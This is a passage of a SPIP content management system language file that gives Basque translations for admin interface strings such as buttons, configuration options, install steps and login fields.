'bouton_effacer_index' => 'Aurkibideak ezabatu ',
'bouton_effacer_tout' => 'Ezabatu DENA!',
'bouton_envoi_message_02' => 'MEZUBAT IGORRI',
'bouton_envoyer_message' => 'Behin-betiko mezua: igorri',
'bouton_fermer' => 'Hetsi',
'bouton_mettre_a_jour_base' => 'Datu-basea eguneratu',
'bouton_modifier' => 'Aldatu',
'bouton_pense_bete' => 'OROIGARRI PERTSONALA',
'bouton_radio_activer_messagerie' => 'Barne mezularitza aktibatu',
'bouton_radio_activer_messagerie_interne' => 'Barne mezularitza aktibatu',
'bouton_radio_activer_petition' => 'Eskaera aktibatu',
'bouton_radio_afficher' => 'Erakutsi',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Konektaturikoerredaktoreen zerrendan agertu',
'bouton_radio_desactiver_messagerie' => 'Mezularitza desaktibatu',
'bouton_radio_envoi_annonces_adresse' => 'Iragarkiak hurrengo helbideraigorri:',
'bouton_radio_envoi_liste_nouveautes' => 'Nobedadeen zerrenda igorri',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Erredaktoreen zerrendan ez agertzea',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ez igorri iragarki editorialik',
'bouton_radio_pas_petition' => 'Eskaerarik gabe',
'bouton_radio_petition_activee' => 'Eskaera aktibaturik',
'bouton_radio_supprimer_petition' => 'Eskaera ezabatu',
'bouton_redirection' => 'Berbideraketa',
'bouton_relancer_installation' => 'Instalazioa berriro bultzatu',
'bouton_suivant' => 'Hurrengo',
'bouton_tenter_recuperation' => 'Konpontzen saiatu',
'bouton_test_proxy' => 'Proxy delakoa probatu',
'bouton_vider_cache' => 'Cachea hustu',
'bouton_voir_message' => 'Mezua ikusi bidalibaino lehen',
// C
'cache_mode_compresse' => 'Cacheko fitxategiak modu konprimituan gorde dira.',
'cache_mode_non_compresse' => 'Cacheko fitxategiak ez dira gorde modu konprimituan.',
'cache_modifiable_webmestre' => 'Parametra hauek tokiaren administratzaileak aldatzen ahal ditu.',
'calendrier_synchro' => 'Agenda-software bateragarri bat erabiltzen baduzu <b>iCal</b>, gune honen gaurkotasun-editorialarekin sinkroniza dezakezu.',
'config_activer_champs' => 'Ondorengo eremuak aktibatu',
'config_choix_base_sup' => 'Zerbitzari honetan datu base bat zehaztu',
'config_erreur_base_sup' => 'SPIPek ez dauka sartzerik datu base erabilgarrien zerrendan',
'config_info_base_sup' => 'SPIPen bidez beste datu base batzuk kontsultatu nahi izanez gero, bere SQL zerbitzaria edo beste baten bitartez, ondorengo datu-orriarekin adierazi daitezke. Zenbait eremu hutsik uzten badira, oinarrizko datu basera konektatzeko identifikadoreak erabiliko dira.',
'config_info_base_sup_disponibles' => 'Kontsultatu daitezkeen datu base osagarriak:',
'config_info_enregistree' => 'Konfigurazio berria gordetua izan da',
'config_info_logos' => 'Web guneko elementu bakoitzak logo bat izan dezake, eta era berean « sagua gainean deneko logo » bat',
'config_info_logos_utiliser' => 'Logoak erabili',
'config_info_logos_utiliser_non' => 'Logorik ez erabili',
'config_info_logos_utiliser_survol' => 'Sagua gainean deneko logoak erabili',
'config_info_logos_utiliser_survol_non' => 'Sagua gainean deneko logorik ez erabili',
'config_info_redirection' => 'Aukera hau aktibatuta, artikulu birtualak sortu ditzakezu, hau da, beste web gune batean edo SPIPetik kanpo argitaratutako artikuluen erreferentzia soilak.',
'config_redirection' => 'Artikulu birtualak',
'config_titre_base_sup' => 'Datu base osagarri bat adierazi',
'config_titre_base_sup_choix' => 'Aukeratu datu base osagarri bat',
'connexion_ldap' => 'Konexioa :',
'copier_en_local' => 'Lokalean kopiatu',
'creer_et_associer_un_auteur' => 'Autore bat sortu eta lotu',
'creer_et_associer_une_rubrique' => 'Atal bat sortu eta elkartu',
// D
'date_mot_heures' => 'orduak',
// E
'ecran_securite' => '+ sekuritate pantaila @version@',
'email' => 'posta elektronikoa',
'email_2' => 'posta elektronikoa:',
'en_savoir_plus' => 'Gehiago jakin',
'entree_adresse_annuaire' => 'Urtekariaren helbidea',
'entree_adresse_email' => 'Zureposta elektronikoa',
'entree_adresse_email_2' => 'Helbide elektronikoa',
'entree_base_donnee_1' => 'Datu-basearen helbidea',
'entree_base_donnee_2' => '(Askotan helbide honek zure gunearekin bat dator, batzutan «localhost»arekin etabestetan, guztiz husturik geratzen da.)',
'entree_biographie' => 'Biografia labur bat, hitzgutxitan...',
'entree_chemin_acces' => 'Sartu sarbidearen bidea:',
'entree_cle_pgp' => 'Zure PGPkodea',
'entree_cle_pgp_2' => 'PGP giltza',
'entree_contenu_rubrique' => '(Atalaren edukia, hitz gutxitan)',
'entree_identifiants_connexion' => 'Zure lokarri-identifikadoreak...',
'entree_identifiants_connexion_2' => 'Saioa hasteko izena',
'entree_informations_connexion_ldap' => 'LDAPurtekariarekiko lokarri-informazioak bete itzazu formulario honetan. Halakoinformazioak sarearen edo sistemaren administratzaileak aditzera emango dizkizu.',
'entree_infos_perso' => 'Nor zara zu?',
'entree_infos_perso_2' => 'Nor da egilea ?',
'entree_interieur_rubrique' => 'Atalarenbarruan...',
'entree_liens_sites' => 'Hipertestu lotura (bisita-leku erreferentzia) ',
'entree_login' => 'Zure login-a',
'entree_login_connexion_1' => 'Zure lokarriarenidentifikatzailea',
'entree_login_connexion_2' => '(Batzutan lokarriaren login delakoaridagokio eta bestetan hutsik gelditzen da)',
'entree_login_ldap' => 'Hasierako LDAPLogin',
'entree_mot_passe' => 'Zure pasahitza',
'entree_mot_passe_1' => 'Zurelokarriaren pasahitza',
'entree_mot_passe_2' => '(Batzutan zure FTP pasahitzari dagokioeta bestetan hutsik gelditzen da)',
'entree_nom_fichier' => '@texte_compresse@fitxategiaren izenaz bete',
'entree_nom_pseudo' => 'Zure izen edo goitizena',
'entree_nom_pseudo_1' => '(Zure izen edo goitizena)',
'entree_nom_pseudo_2' => 'Izen edo ezizena',
'entree_nom_site' => 'Zuretokiaren izena',
'entree_nom_site_2' => 'Egilearen gunearen izena',
'entree_nouveau_passe' => 'Pasahitz berria',
'entree_passe_ldap' => 'Zure pasahitza',
'entree_port_annuaire' => 'Urtekariaren atakaren zenbakia',
'entree_signature' => 'Sinadura',
'entree_titre_obligatoire' => '<b>Izenburua</b> [Derrigorrezko]<br />',
'entree_url' => 'Zure lekuaren (URL) helbidea',
'entree_url_2' => 'Gunearen helbidea (URL)',
'erreur_connect_deja_existant' => 'Izen bereko zerbitzari bat badago jadanik',
'erreur_nom_connect_incorrect' => 'Zerbitzari izen hori debekatua da',
'erreur_plugin_desinstalation_echouee' => 'Pluginaren desinstalazioak huts egin du. Halere, desaktibatzen ahal duzu.',
'erreur_plugin_fichier_absent' => 'Fitxategia ez dago',
'erreur_plugin_fichier_def_absent' => 'Definizio fitxategia ez dago',
'erreur_plugin_nom_fonction_interdit' => 'Funtzio izena debekatuta',
'erreur_plugin_nom_manquant' => 'Plugin-aren izena eskas',
'erreur_plugin_prefix_manquant' => 'Plugin-aren izendatze eremua ez da definitua',
'erreur_plugin_tag_plugin_absent' => '<plugin> eskas definizioen fitxategian',
'erreur_plugin_version_manquant' => 'Plugin-aren bersioa eskas',
// H
'htaccess_a_simuler' => 'Abisua :
Zure HTTP zerbitzariaren konfigurazioak ez ditu @htaccess@ fitxategiak kontutan hartzen.
Seguritate hobetzeko, konfigurazio hau aldatu behar zenuke, edo @constantes@ konstanteen baloreak (mesoptions.php fitxategiaren bidez definituak) @document_root@-etik kanpo diren errepertorio batzuetan izan behar dira.',
'htaccess_inoperant' => 'htaccess eraginik gabe',
// I
'ical_info1' => 'Lekuarenbizitzarekin harremanetan egoteko dauden zenbait modu orrialde honetan aurkeztendira.',
'ical_info2' => 'Teknika guzti hauen buruzko informazio gehiago lortzeko, <a href="@spipnet@">SPIP dokumentazioa</a> kontsulta dezakezu.',
'ical_info_calendrier' => 'Bi egutegi dituzu eskura. Lehena gunearen planoa da, bertan argitaratutako artikulu guztiak adierazten direlarik. Bigarrenak iragarki editorialak eta zure azken mezu pribatuak ditu: zuk bakarrik ikus dezakezu gako pertsonal baten bidez, gakoa edozein unean alda dezakezularik zure pasahitza aldatuz.',
'ical_methode_http' => 'Deskargatu',
'ical_methode_webcal' => 'Sinkronizazioa (webcal://)',
'ical_texte_js' => 'Gune honetan berriki argitaratutako artikuluak, zure edo edozeinen gunean ikus ditzakezu, Javascript lerro baten bidez.',
'ical_texte_prive' => 'Egutegi hau erabat pertsonala da eta gune honen ekintza editorial pribatuen berri ematen du (eginkizunak, hitzordu pertsonalak, artikuluak eta proposatutako berri-laburrak,..)',
'ical_texte_public' => 'Egutegi honi eskerleku honetako ekintza publikoen jarraipena egin daiteke (artikuluak eta berri laburrak)',
'ical_texte_rss' => 'Leku honen nobedadeak XML/RSS (Rich Site Summary)formatuko edozein fitxategi irakurgailuz sindikatu ditzakezu. Halaber SPIP-ak bestelekuetan argitaratutako nobedadeak irakur ditzake baldin eta leku horiek truke-formatubateragarria (sindikatutako lekuak) erabiltzen badute.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Posta-zerrenda',
'ical_titre_rss' => '«backend» fitxategiak',
'icone_accueil' => 'Ataria',
'icone_activer_cookie' => 'Korrespondentzi-“cookie”-a aktibatzea',
'icone_activite' => 'Jarduera',
'icone_admin_plugin' => 'Plugin-en kudeaketa',
'icone_administration' => 'Mantentzea',
'icone_afficher_auteurs' => 'Egileak erakutsi',
'icone_afficher_visiteurs' => 'Bisitariakerakutsi',
'icone_arret_discussion' => 'Elkarrizketa honetan ez berriro parte hartu ',
'icone_calendrier' => 'Egutegi',
'icone_configuration' => 'Konfigurazioa',
'icone_creer_auteur' => 'Egile berri bat eratu eta artikulu honi elkartu',
'icone_creer_mot_cle' => 'Gako-hitz berri bat eratu eta artikuluhoni elkartu',
'icone_creer_mot_cle_rubrique' => 'Gako-hitz berri bat sortu eta atal huni lotu',
'icone_creer_mot_cle_site' => 'Gako-hitz berri bat sortu eta gune huni lotu',
'icone_creer_rubrique_2' => 'Atal berribat eratu',
'icone_edition' => 'Edizioa',
'icone_envoyer_message' => 'Mezua igorri',
'icone_ma_langue' => 'Nire hizkuntza',
'icone_mes_infos' => 'Nire informazioak',
'icone_mes_preferences' => 'Nire hobespenak',
'icone_modifier_article' => 'Artikulu hau aldatu',
'icone_modifier_message' => 'Mezua aldatu',
'icone_modifier_rubrique' => 'Atal hau aldatu',
'icone_publication' => 'Argitaratzea',
'icone_relancer_signataire' => 'Izenpetzaileari berreskatu',
'icone_retour' => 'Itzuli',
'icone_retour_article' => 'Artikuluraitzuli',
'icone_squelette' => 'Eskeletoak',
'icone_suivi_publication' => 'Argitalpenen jarraipena',
'icone_supprimer_cookie' => 'Korrespondentzi-“cookie”-a ezabatu',
'icone_supprimer_rubrique' => 'Atal hau ezabatu',
'icone_supprimer_signature' => 'Sinadura hau ezabatu',
'icone_valider_signature' => 'Sinadura hau onartu',
'image_administrer_rubrique' => 'Atal hau kudeatu ahal duzu',
'impossible_modifier_login_auteur' => 'Logina aldatzea ezinezkoa da.',
'impossible_modifier_pass_auteur' => 'Pasahitza aldatzea ezinezkoa da.',
'info_1_article' => 'artikulu 1',
'info_1_article_syndique' => 'Artikulu 1 sindikatua',
'info_1_auteur' => 'Autore 1',
'info_1_message' => 'Mezu 1',
'info_1_mot_cle' => 'Gako hitz 1',
'info_1_rubrique' => 'Atal 1',
'info_1_site' => 'Toki bat',
'info_1_visiteur' => 'Bisitari 1',
'info_activer_cookie' => 'Egokitasun-"cookie" bat aktibatu dezakezu; horrek aukera emango dizu orrialdeakeguneratzeko, eta jendaurreko ataletik erredakziora errazki aldatzeko ere.',
'info_admin_etre_webmestre' => 'Web-arduradun eskubideak nire kontuari ezarri',
'info_admin_gere_rubriques' => 'Pertsona horrek honako atal hauek administratzenditu:',
'info_admin_gere_toutes_rubriques' => 'Administratzaile honek <b>atal guztiak</b> kudeatzen ditu.',
'info_admin_gere_toutes_rubriques_2' => '<b>Atal guztiak</b> kudeatzen ditut',
'info_admin_je_suis_webmestre' => '<b>web-arduradun</b> naiz.',
'info_admin_statuer_webmestre' => 'Administratzaile honi Web-arduradun eskubideak eman',
'info_admin_webmestre' => 'Administratzaile hau <b>Web-arduradun</b> da.',
'info_administrateur' => 'Administratzaile',
'info_administrateur_1' => 'Administratzaile',
'info_administrateur_2' => 'gunean (kontu handiz erabili)',
'info_administrateur_site_01' => 'Administraziorako eskumenak baldin badituzu,mesedez',
'info_administrateur_site_02' => 'Egin klik lotura honetan',
'info_administrateurs' => 'Administratzaileak',
'info_administrer_rubrique' => 'Atal haukudeatu ahal duzu',
'info_adresse' => 'helbidera:',
'info_adresse_url' => 'Toki publikoaren helbidea(URL) ',
'info_afficher_par_nb' => 'Bistaratu horrela',
'info_afficher_visites' => 'Atal honentzako bisitak erakutsi:',
'info_aide_en_ligne' => 'SPIP-eko zuzeneko laguntza',
'info_ajout_image' => 'Irudiak dokumentu bezala gehitzen direnean SPIP-ekautomatikoki sartutako irudi hauen ikonoak sor ditzake. Erabilgarria izan daiteke,adibidez, galeria bat sortzeko.',
'info_ajout_participant' => 'Partehartzaile hau erantsiaizan da:',
'info_ajouter_rubrique' => 'Administratzeko beste atal bat gehitu',
'info_annonce_nouveautes' => 'Berritasunak iragarri',
'info_anterieur' => 'Lehengoa',
'info_article' => 'artikulua',
'info_article_2' => 'artikuluak',
'info_article_a_paraitre' => 'Argitaratuakizango diren baino geroagoko data duten artikuluak',
'info_articles_02' => 'Artikuluak',
'info_articles_2' => 'Artikuluak',
'info_articles_auteur' => 'Idazlari honen artikuluak',
'info_articles_miens' => 'Nire artikuluak',
'info_articles_tous' => 'Artikulu guztiak',
'info_articles_trouves' => 'Aurkitutako artikuluak',
'info_articles_trouves_dans_texte' => '(Testuan)aurkitutako artikuluak',
'info_attente_validation' => 'Egiaztapenaren zain dauden zureartikuluak',
'info_aucun_article' => 'Artikulurik ez',
'info_aucun_article_syndique' => 'Sindikatutako artikulurik ez',
'info_aucun_auteur' => 'Autorerik ez',
'info_aucun_message' => 'Mezurik ez',
'info_aucun_rubrique' => 'Atalik ez',
'info_aucun_site' => 'Gunerik ez',
'info_aucun_visiteur' => 'Bisitaririk ez',
'info_aujourdhui' => 'Gaur :',
'info_auteur_message' => 'MEZUARENIDAZLEA:',
'info_auteurs' => 'Egileak',
'info_auteurs_par_tri' => '@partri@ egileak',
'info_auteurs_trouves' => 'Aurkitutako idazlariak',
'info_authentification_externe' => 'Kanpoko baimena',
'info_avertissement' => 'Abisua',
'info_barre_outils' => 'bere tresna-barrarekin ?',
'info_base_installee' => 'Zure datubasearen egitura instalatua izan da',
'info_bio' => 'Biografia',
'info_cache_desactive' => 'Cachea aldi baterako desaktibatua dago.',
'info_chapeau' => 'Idazpurua',
'info_chapeau_2' => 'Epigrafea:',
'info_chemin_acces_1' => 'Aukerak: sarbidea urtekarian',
'info_chemin_acces_2' => 'Aurrerantzean informaziorako sarbidearen bidea konfiguratu behar duzu urtekarian.Informazio hau beharrezkoa da urtekarian gordeta dauden erabiltzaileen profilakirakurtzeko.',
'info_chemin_acces_annuaire' => 'Aukerak: Sarbidea urtekarian',
'info_choix_base' => 'Hirugarren etapa:',
'info_classement_1' => '. @zerrendan@',
'info_classement_2' => '.@zerrendan@',
'info_code_acces' => 'Zure sarbide kodeak ezahaztu !',
'info_compatibilite_html' => 'Segitu beharreko HTML normak',
'info_compresseur_gzip' => '<b>N. B. :</b> Aterbetazileak ez dituenez jadanik php script-ak konprimitzen baieztatzea gomendatua da; horretarako zerbitsu hau erabil dezakezu : @testgzip@',
'info_compresseur_texte' => 'Zure sareburuak ez baditu automatikoki html orrialdeak konprimitzen erabiltzaileari igortzeko, konpresioa bortxatzen entsegatzen ahal zira deskargatutako orrien pisua ttipitzeko.<b>Kontuz</b> : teknika hunek zoinbeit sareburu zinez moteltzen ahal ditu.',
'info_config_suivi' => 'Helbide hau korreo lista bati baldin ba dagokio, hemen azpian bere bitartez tokiarenparte-hartzaileek inskripzioa egin dezaketen helbidea jar dezakezu. Helbide hau URLbat izan daiteke ( adibidez web-aren bitartez izena emateko orria), edo e-mail helbidebat gai zehatz batekin (adibidez: @adresse_suivi@?subject=subscribe):',
'info_config_suivi_explication' => 'Gune honetako posta-zerrendan harpidetza egindezakezu. Argitalpenerako proposaturiko artikuluen eta berri laburren iragarpenakjasoko dituzu posta elektronikoz.',
'info_confirmer_passe' => 'Pasahitz berria baieztatu:',
'info_conflit_edition_avis_non_sauvegarde' => '<b>Kontuz</b>, ondoko eremuak aldatuak izan dira bestalde. Beraz eremu horietan egin dituzun aldaketak ez dira grabatuak izan.',
'info_conflit_edition_differences' => 'Desberdintasunak :',
'info_conflit_edition_version_enregistree' => 'grabatutako bersioa :',
'info_conflit_edition_votre_version' => 'Zure bersioa :',
'info_connexion_base' => 'Bigarren etapa: basera konektatzeko saialdia ',
'info_connexion_base_donnee' => 'Zure datu-basearekin konexioa',
'info_connexion_ldap_ok' => '<b>LDAP konexioak funtzionatu egin du.</b><p>Hurrengo urratsera pasa zaitezke.</p>',
'info_connexion_mysql' => 'Lehenengo etapa: Zure SQL konexioa',
'info_connexion_ok' => 'Konexioa ondo dabil',
'info_contact' => 'Kontaktua',
'info_contenu_articles' => 'Artikuluen edukia',
'info_contributions' => 'Parte hartzeak',
'info_creation_paragraphe' => 'Paragrafoak sortzeko, lerro hutsak utz itzazu.',
'info_creation_rubrique' => 'Artikuluak idatzi baino lehen Atal bat sortu behar duzu.',
'info_creation_tables' => 'Laugarren etapa: Basearen taulak sortzea',
'info_creer_base' => 'Datu base berri bat sortu:',
'info_dans_rubrique' => 'Atal honetan...',
'info_date_publication_anterieure' => 'Lehengo argitaratze data',
'info_date_referencement' => 'Toki honen erreferentziapendata',
'info_derniere_etape' => 'Azken etapa : Bukatu da!',
'info_derniers_articles_publies' => 'Zure azken artikulu argitaratuak',
'info_desactiver_messagerie_personnelle' => 'Zuremezularitza pertsonala aktibatu edo desaktibatu dezakezu gune honetan.',
'info_descriptif' => 'Deskribapena:',
'info_desinstaller_plugin' => 'datuak ezabatzen eta plugin-a desaktibatzen ditu',
'info_discussion_cours' => 'Uneko eztabaidak',
'info_ecrire_article' => 'Artikuluak idatzi aurretik, atal bat sortu behar duzu.',
'info_email_envoi' => 'Bidalketarako posta-helbidea (aukeran)',
'info_email_envoi_txt' => 'Adierazi hemen emailak bidaltzeko erabili behar den helbidea (bestela, helbide hartzailea erabiliko da bidalketa-helbide gisa) :',
'info_email_webmestre' => 'Web-arduradunaren helbide elektronikoa',
'info_entrer_code_alphabet' => 'Sar ezazu erabiliko den alfabetoaren kodea',
'info_envoi_email_automatique' => 'Mezu elektronikoen bidalketa automatikoa',
'info_envoyer_maintenant' => 'Orain bidali',
'info_etape_suivante' => 'Hurrengo etapara pasa',
'info_etape_suivante_1' => 'Hurrengoetapara pasa zaitezke',
'info_etape_suivante_2' => 'Hurrengo etapara pasa zaitezke',
'info_exceptions_proxy' => 'Salbuespenak proxy-arentzat',
'info_exportation_base' => 'basearen esportazioa @archive@-ra',
'info_facilite_suivi_activite' => 'Jarduera editorialaren jarraipena errazteko, SPIP-ekkorreo elektronikoaren bidez bidali ahal dizkio, adibidez erredaktoreen zerrenda bati,artikuluen baliaztapen eta argitarapenen eskaeren iragarkiak.',
'info_fichiers_authent' => '« .htpasswd » autentifikazio-fitxategiak',
'info_forums_abo_invites' => 'Zure guneak harpidetza beharrezkoa egiten dituen foroak hartzen ditu ; beraz, bisitariak gune publikoan erregistratzera gonbidatuta daude.',
'info_gauche_admin_effacer' => '<b>Orrialde honetan gunearen arduradunak baino ezin dira sartu.</b><p>Mantenimendu teknikoaren funtzio guztietan sartzeko aukera ematen du. Horietako batzuk baimentzeko prozesu berezi bat egin behar dute, gunearen FTP sarrera baliatzea eskatzen dutenak.',
'info_gauche_admin_tech' => '<b>Orrialde honetan gunearen arduradunak baizik ezin dira sartu.</b><p>Mantentze teknikoaren funtzio guztietan sartzeko aukera ematen du.
Horietako batzuk baimentzeko prozesu berezi bat egin behar dute, gunearen FTP sarrerak eskatzen dituenak.</p>',
'info_gauche_admin_vider' => 'Orrialde honetan gunearen arduradunak baizik ezin dira sartu.<b><p>Mantentze teknikoaren funtzio guztietan sartzeko aukera ematen du. Horietako batzuk baimentzeko prozesu berezi bat egin behar dute, gunearen FTP sarrerak eskatzen dituenak.',
'info_gauche_auteurs' => 'Guneko autore guztiak ageri dira hemen.
Ikonoaren koloreak autore bakoitzaren egoera adierazten du (idazlaria = berdea; administratzailea = horia).',
'info_gauche_auteurs_exterieurs' => 'Kanpoko autoreak, gunean sartzeko baimenik ez dutenak, ikono urdin batez adieraziak dira; ezabatuak izan direnak, berriz, ikono grisa baten bidez.',
'info_gauche_messagerie' => 'Mezularitzak idazlarien artean mezuak trukatzen,abisuak kontserbatzen (zure erabilera pertsonalarentzat), edo eremu pribatuko orri nagusian iragarpenak jartzen (administratzailea bazara) uzten dizu.',
'info_gauche_numero_auteur' => 'IDAZLEA ',
'info_gauche_statistiques_referers' => 'Orri honetan referers-en zerrenda dago, hau da, zure web-gunera eramaten dituztenloturak dauzkaten tokien zerrenda, bakarrik atzo eta gaurko; zerrenda honek egunerozerora jartzen da.',
'info_gauche_visiteurs_enregistres' => 'Hemen guneko eremu publikoan erregistratutako bisitariak aurkituko dituzu (foroak aurretiko harpidetzaz).',
'info_generation_miniatures_images' => 'Irudien miniatura-sorkuntza',
'info_gerer_trad' => 'Itzulpen-estekak kudeatu?',
'info_gerer_trad_objets' => '@objets@ :itzulpen loturak kudeatu',
'info_hebergeur_desactiver_envoi_email' => 'Ostapen zuzkitzaile batzuek mail-bidalketa automatikoa desaktibatzen dute bere zerbitzarietatik.
Kasu honetan, SPIP-eko hurrengo funtzinalitateak ez dute funtzionatuko.',
'info_hier' => 'atzo:',
'info_historique_activer' => 'Berrikuspenen jarraipena aktibatu',
'info_historique_affiche' => 'Bertsio hau bistaratu',
'info_historique_comparaison' => 'konparazioa',
'info_historique_desactiver' => 'Berrikuspenen jarraipena desaktibatu',
'info_historique_texte' => 'Berrikuspenen jarraipenak artikulu baten edukiari egindako aldaketa guztien historia gordetzen eta geroko bertsioen arteko desberdintasunak bistaratzen uzten du.',
'info_identification_publique' => 'Zurenortasun publikoa...',
'info_image_process' => 'Mesedez aukeratu biñetak egitekomodurik onena dagokion irudian klikatuz.',
'info_image_process2' => '<b>N.B.</b> Ez bada irudirik agertzen, orduan zure gunea ostatatzen duen zerbitzaria ez da tresna horiek erabiltzeko konfiguratua. Funtzio horiek erabili nahi badituzu, arduradun teknikoa kontakta ezazu eta «GD» edo «Imagick» luzapenak eska itzaizkiozu.',
'info_images_auto' => 'Automatikoki kalkulatutako irudiak',
'info_informations_personnelles' => 'Bosgarren etapa : Datu pertsonalak',
'info_inscription_automatique' => 'Pertsona berrien izen-emate automatikoa',
'info_jeu_caractere' => 'Guneko karaktere-jokoa',
'info_jours' => 'egunak',
'info_laisser_champs_vides' => 'Aukera hauek hutsik utzi)',
'info_langues' => 'Gunearen hizkuntzak',
'info_ldap_ok' => 'LDAP autentikazioa instalatuta dago.',
'info_lien_hypertexte' => 'Hipertestu lotura:',
'info_liste_nouveautes_envoyee' => 'Berrikuntzen zerrenda igorria izan da.',
'info_liste_redacteurs_connectes' => 'Konektatuak dauden erredaktoreen zerrenda',
'info_login_existant' => 'Login hori dagoeneko existitzen da.',
'info_login_trop_court' => 'Login hori laburregia da',
'info_login_trop_court_car_pluriel' => 'Zure loginak @nb@ karaktere bederen eduki behar ditu.',
'info_logos' => 'Logoak',
'info_maximum' => 'gehienez:',
'info_meme_rubrique' => 'Atal berean',
'info_message' => 'Mezua',
'info_message_efface' => 'Mezua ezabatu da',
'info_message_en_redaction' => 'Idaztekobidean dauden zure mezuak',
'info_message_technique' => 'Mezu teknikoa',
'info_messagerie_interne' => 'Barne mezularitza',
'info_mise_a_niveau_base' => 'Zure SQL basearen eguneratzea',
'info_mise_a_niveau_base_2' => '{{Kontuz!}} Lehendikgune honetan aurkitzen zen SPIP fitxategien {lehenagoko} bertsio bat instalatuduzu: zure datu-basea galdua izateko arriskuan dago eta zure guneak ez dugehiago funtzionatuko.{{SPIP fitxategiak berrinstalatu.}}',
'info_modification_enregistree' => 'Zure aldaketak gorde dira',
'info_modifier_auteur' => 'Egilea aldatu :',
'info_modifier_rubrique' => 'Gaia aldatu :',
'info_modifier_titre' => 'Aldatu :@titre@',
'info_mon_site_spip' => 'Nire SPIP gunea',
'info_mot_sans_groupe' => '(Talderik gabeko hitzak...)',
'info_moteur_recherche' => 'Barneratutako bilaketa motorra',
'info_moyenne' => 'ertaina :',
'info_multi_articles' => 'Artikuluetan hizkuntza menu-a aktibatu?',
'info_multi_cet_article' => 'Artikuluhonen hizkuntza:',
'info_multi_langues_choisies' => 'Jarraian aukeratu zure tokiarenidazleek erabiltzeko baimena izango dituzten hizkuntzak. Tokian dagoeneko erabiltzendiren hizkuntzak (zerrendaren hasieran) ezin dira desaktibatu. ',
'info_multi_objets' => '@objets@ : hizkuntza menua aktibatu',
'info_multi_rubriques' => 'Ataletan hizkuntza menu-a aktibatu?',
'info_multi_secteurs' => '>... erroan dauden atalentzat bakarrik ?',
'info_nb_articles' => '@nb@ artikulu',
'info_nb_articles_syndiques' => '@nb@ sindikatutako artikulu',
'info_nb_auteurs' => '@nb@ autore',
'info_nb_messages' => '@nb@ mezu',
'info_nb_mots_cles' => '@nb@ gako-hitz',
'info_nb_rubriques' => '@nb@ atal',
'info_nb_sites' => '@nb@ gune',
'info_nb_visiteurs' => '@nb@ bisitari',
'info_nom' => 'Izena',
'info_nom_destinataire' => 'Hartzailearen izena',
'info_nom_pas_conforme' => 'HTML etiketak ez dira onartuak',
'info_nom_site' => 'Zure gunearen izena',
'info_nombre_articles' => '@nb_articles@ artikulu,',
'info_nombre_partcipants' => 'Debatean parte-hartzaile...',
'info_nombre_rubriques' => '@nb_rubriques@ atal,',
'info_nombre_sites' => '@nb_sites@ gune,',
'info_non_deplacer' => 'Ez murgildu...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP-ek guneko azken berrien abisuak bidaltzen ahal ditu erregularki (artikulu eta berri labur argitaratu berriak).',
'info_non_envoi_liste_nouveautes' => 'Ez bidali nobedadeen zerrenda',
'info_non_modifiable' => 'ezin da aldatu',
'info_non_suppression_mot_cle' => 'Ez dutgako-hitz hau ezabatu nahi',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Oharrak',
'info_nouveaux_message' => 'Mezu berriak',
'info_nouvel_article' => 'Artikulu berria',
'info_nouvelle_traduction' => 'Itzulpen berria:',
'info_numero_article' => 'Artikulua:',
'info_obligatoire_02' => '(nahitaezkoa)',
'info_option_accepter_visiteurs' => 'Gune publikoko bisitarien inskripzioa onartu',
'info_option_faire_suivre' => 'Foroetako mezuak artikuluen idazleei jarraituak izateaegin',
'info_option_ne_pas_accepter_visiteurs' => 'Bisitarien inskripzioa ezetsi',
'info_options_avancees' => 'Aukera aurreratuak',
'info_ortho_activer' => 'Zuzentzaile ortografikoa aktibatu',
'info_ortho_desactiver' => 'Zuzentzaile ortografikoa desaktibatu',
'info_ou' => 'edo...',
'info_page_interdite' => 'Orri debekatua',
'info_par_nom' => 'izenez',
'info_par_nombre_article' => '(artikulu kopuruaren arabera)',
'info_par_statut' => 'egoeraren arabera',
'info_par_tri' => '’(par @tri@)’',
'info_passe_trop_court' => 'Pasahitz laburregia.',
'info_passe_trop_court_car_pluriel' => 'Zure pasahitzak @nb@ karaktere bederen eduki behar ditu.',
'info_passes_identiques' => 'Pasahitzak ezberdinak dira',
'info_pense_bete_ancien' => 'Zure ohartarapen zaharrak',
'info_plus_cinq_car' => '5 karaktere baino gehiago',
'info_plus_cinq_car_2' => '(5 karaktere baino gehiago)',
'info_plus_trois_car' => '(3karaktere baino gehiago)',
'info_popularite' => 'Arrakasta: @popularite@ Bisitak:@visites@',
'info_popularite_4' => 'Arrakasta: @popularite@ Bisitak: @visites@',
'info_post_scriptum' => 'Post scriptum',
'info_post_scriptum_2' => 'Post scriptum:',
'info_pour' => '-rako',
'info_preview_admin' => 'Administratzaileek baino ez dute tokiaaurreikusteko baimena.',
'info_preview_comite' => 'Idazlari guztiek tokia aurreikusten ahal dute',
'info_preview_desactive' => 'Aurreikuspena guztiz desaktibatuta dago',
'info_preview_texte' => 'Gunea artikulu eta berri labur guztiak (gutxienez« proposatua » statusa dutenak) argitaratuta egon balira bezala aurreikustea posible da. Posibilitate hau administratzaileentzat bakarrik, idazlari guztientzat, edo inorentzat egon behar da zabalik?',
'info_principaux_correspondants' => 'Zure korrespontsal printzipalak',
'info_procedez_par_etape' => 'etapaz etapa jokatu',
'info_procedure_maj_version' => 'Eguneratzeko prozedura bete egin behar da datu-basea SPIP-en bertsio berrira moldatzeko.',
'info_proxy_ok' => 'Proxy-aren proba lortua',
'info_ps' => 'P.S',
'info_publier' => 'Argitaratu',
'info_publies' => 'Zure artikuluargitaratuak',
'info_question_accepter_visiteurs' => 'Zure tokiaren egituretan gunepribaturako baimenik gabeko bisitanteen errejistroa aurreikusia baldin badago, aukerahau aktibatu egin beharko duzu:',
'info_question_inscription_nouveaux_redacteurs' => 'Gune publikotik idazle berrien inskripzioak onartzen dituzu ?
Onartzen badituzu, bisitariak inprimaki automatizatu batetik harpidetu ahal izango dira eta orduan eremu pribatuan sartuko dira beren artikuluak proposatzeko.
<div class="notice">Inskribatzean, erabiltzaileek mezu elektroniko automatiko bat jasotzen dute eremu pribaturako sarbide-kodeekin.
Ostapen zuzkitzaile batzuek mail-bidalketa desaktibatzen dute bere zerbitzarietatik : kasu honetan, inskripzio automatikoa ezinezkoa da.</div>',
